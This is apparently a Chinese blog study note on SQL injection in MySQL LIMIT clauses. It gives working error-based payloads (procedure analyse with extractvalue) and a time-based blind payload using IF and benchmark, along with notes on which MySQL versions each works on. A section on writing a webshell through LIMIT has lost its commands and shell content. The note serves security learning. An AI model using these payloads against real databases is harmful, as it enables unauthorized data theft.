Mysql下limit注入方法

  1. 引入
  2. 开始
    1. limit写Shell
    2. 注数据
      1. 在注入方面的应用
        1. 报错注入
        2. 时间盲注

// 资料来源:https://www.leavesongs.com/PENETRATION/sql-injections-in-mysql-limit-clause.html

引入

这篇是学习limit注入的一个小笔记。

跟资料来源处文章不同的是,本篇填了一些Mysql版本上的坑。。。。

开始

limit写Shell

首先需要确定一下可写目录(可以在mysql配置文件中的[mysqld]下面添加secure_file_priv = xxx来设置可写目录):

可写目录情况

之后按如下方法写shell:

shell内容如下:

注数据

主要用到了procedure analyse(),这玩意就是用来分析查询到的结果的

它的语法:

procesure analyse(max_elements,max_memory)

max_elements是被分析的每列值的最高数目

max_memory是查找不同值时分配给每列的最大内存数

举个应用例子:

对查询的分析

在注入方面的应用

报错注入

特别注意

# 针对下面写到的方法而言

在新版Mysql中(测试版本:>=5.5.49),已经不可以用select user()这样的方式来利用procedure中的报错注入,只能使用user()、@@version之类的来获取数据

在旧版Mysql中(测试版本:<=5.5.44)中可以使用select user()之类的语句

payload

# 全版本可用
select user from mysql.user limit 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);

# 版本<=5.5.44可用
select user from mysql.user limit 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,(select version()))) ,1);

版本5.5.44可用

版本5.5.49不可用

同样我们也可以使用updatexml

时间盲注

有了上面报错注入的基础之后,弄时间盲注就很简单了,主要是判断语句(如IF等)多语句执行(如BENCHMARK,笛卡尔积等等)的组合。

不过需要注意的是,这种注入方式不支持sleep

payload

select user from mysql.user limit 1,1 procedure analyse(1, extractvalue('asdf', IF(left((select user()), 1) like 'r', (select benchmark(10000000, md5('r0co'))), 2)))

上面这条语句其实还是会报错的(但是实际会造成延时),为了方便观察,我将payload改成了下面这样:

select now();select user from mysql.user limit 1,1 procedure analyse(1, extractvalue('asdf', IF(left((select user()), 1) like 'r', (select benchmark(10000000, md5('r0co'))), 2)));select now();

结果:

猜对/猜错的比较


如果我的文章能帮到您的话我会很开心.如需转载记得注明出处:)
目录